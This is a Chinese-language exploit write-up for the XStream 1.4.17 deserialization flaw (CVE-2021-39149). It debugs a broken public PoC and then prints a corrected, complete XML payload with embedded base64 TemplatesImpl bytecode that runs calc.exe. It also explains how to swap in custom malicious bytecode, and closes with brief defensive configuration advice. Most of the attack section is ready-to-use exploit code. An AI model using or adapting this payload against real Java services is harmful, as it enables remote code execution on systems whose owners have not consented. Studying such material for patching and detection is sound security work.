Xstream最新反序列化poc执行报错问题
字数 799 2025-08-25 22:59:10
XStream 1.4.17 反序列化漏洞利用分析与修复指南
漏洞概述
XStream 是一个流行的 Java 库，用于将对象序列化为 XML 或 JSON 格式，以及反向操作。在 1.4.17 版本中存在反序列化漏洞（CVE-2021-39149），攻击者可以通过精心构造的 XML 载荷实现任意 Java 代码执行。
漏洞原理
该漏洞利用 XStream 反序列化过程中的几个关键点：
- 通过
dynamic-proxy机制创建动态代理 - 利用
CompositeInvocationHandlerImpl处理程序 - 通过
TemplatesImpl类加载恶意字节码
原始 PoC 分析
原始 PoC 结构如下：
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>恶意字节码1</byte-array>
<byte-array>恶意字节码2</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
问题分析与修复
问题1：XML 标签闭合错误
错误现象：
不识别字段的错误，XStream 尝试从 `sun.tracing.dtrace.DTraceProbe` 类中查找名为 `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` 的字段
**原因**：
原始 PoC 中 `<proxy>` 标签自闭合了：
```xml
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
修复方法：
改为正确的标签对形式：
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<!-- 内容 -->
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
问题2：缺少布尔值标签
错误现象：
在 TemplatesImpl 反序列化过程中抛出异常，无法读取布尔值
原因：
TemplatesImpl 的反序列化过程期望读取一个布尔值标签
修复方法：
在 </default> 后添加布尔值标签：
</default>
<boolean>false</boolean>
完整可用的 PoC
<linked-hash-set>
<dynamic-proxy>
<interface>map</interface>
<handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
<classToInvocationHandler class='linked-hash-map'/>
<defaultHandler class='sun.tracing.NullProvider'>
<active>true</active>
<providerType>java.lang.Object</providerType>
<probes>
<entry>
<method>
<class>java.lang.Object</class>
<name>hashCode</name>
<parameter-types/>
</method>
<sun.tracing.dtrace.DTraceProbe>
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>
<implementing__method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>getOutputProperties</name>
<parameter-types/>
</implementing__method>
</sun.tracing.dtrace.DTraceProbe>
</entry>
</probes>
</defaultHandler>
</handler>
</dynamic-proxy>
</linked-hash-set>
自定义攻击载荷
要修改攻击行为，只需替换 <byte-array> 中的内容。生成恶意字节码的方法：
- 编写恶意 Java 类：
import java.io.IOException;
public class Evil {
public Evil() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
- 编译并生成字节码：
javac Evil.java
- 将
.class文件转换为 Base64 编码的字节数组
防御措施
- 升级 XStream 到最新版本
- 使用 XStream 的安全框架配置：
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.allowTypesByWildcard(new String[] {
"com.your.package.**"
});
- 实现自定义的
TypePermission限制可反序列化的类
总结
该漏洞利用 XStream 反序列化过程中的多个特性，通过精心构造的 XML 载荷实现任意代码执行。理解其原理和修复方法对于 Java 应用安全至关重要。在实际应用中，应严格限制反序列化的类范围，并及时更新相关库版本。